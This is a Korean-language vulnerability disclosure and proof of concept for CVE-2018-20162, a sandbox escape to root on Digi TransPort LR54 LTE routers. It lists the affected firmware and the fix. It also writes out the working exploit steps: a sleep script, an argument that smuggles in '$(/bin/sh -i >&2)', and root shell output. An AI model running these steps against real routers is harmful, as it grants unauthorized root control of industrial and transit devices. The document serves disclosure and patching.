
CVE-2018-20162에 대한 개념 증명 익스플로잇: SIGINT 처리 결함을 통해 Digi TransPort LR54 LTE 라우터에서 샌드박스 이스케이프를 수행하여 루트 셸 접근을 획득합니다.
Digi TransPort LR54는 산업, 인프라, 소매 및 대중교통에서 일반적으로 사용되는 고속 LTE 라우터입니다.
이 장치는 제한된 샌드박스에서 파이썬 스크립트를 실행할 수 있도록 지원하며, SSH를 통해 접근 가능한 맞춤형 쉘도 동일한 제한을 받습니다. 따라서 관리자는 기본 OS에 접근할 수 없습니다.
저는 샌드박스를 탈출하여 루트 쉘을 획득하는 방법을 찾았습니다. 이 방법은 CLI가 파이썬 스크립트를 실행할 때 명령줄 인수를 처리하는 방식을 악용합니다.
대화형 파이썬 프로세스가 SIGINT(CTRL-C를 통해)를 수신하면, 스크립트에 전달된 인수가 대화형 CLI의 오류 로깅 핸들러로 전달될 때 적절히 이스케이프되지 않습니다. 이를 통해 공격자는 루트 권한으로 임의의 명령을 실행할 수 있습니다.
이 취약점을 악용하려면 공격자가 'super' 권한을 가진 대화형 CLI 접근 권한이 필요합니다. 이 접근 수준을 가진 사용자는 장치에서 기본적으로 활성화되어 있습니다.
Digi Transport LR54 (및 WR64, WR54 등의 관련 제품일 가능성 있음)
펌웨어 버전 : 4.4.0.26 2018-10-29 21:14:06 펌웨어 버전 : 4.3.2.24 2018-09-06 00:58:34
그리고 이전 버전도 포함될 수 있음
사용자는 펌웨어 버전 4.5.1.4 이상으로 업그레이드해야 합니다. 개인 키나 암호문구 등 장치에 저장된 비밀은 예방 조치로 변경해야 합니다.
sleep.py를 scp 또는 sftp를 사용하여 LR54에 업로드합니다. 내용은 다음과 같습니다:import time;time.sleep(10)
python sleep.py --XXX $(/bin/sh -i >&2)
프로그램이 시작된 후 즉시 CTRL-C를 누릅니다.
그러면 대화형 루트 쉘로 떨어집니다:
/home/digi/user # uname -a
Linux (none) 3.10.14 #1 SMP Mon Oct 29 16:18:10 CDT 2018 mips GNU/Linux
/home/digi/user # id
uid=0(root) gid=2000(users_rw) groups=2000(users_rw),2002(users_super)
취약점 발견자: Stig Palmquist.
이 보고서를 검토해 준 @duniel_pls와 @alexanderkjall에게 감사드립니다.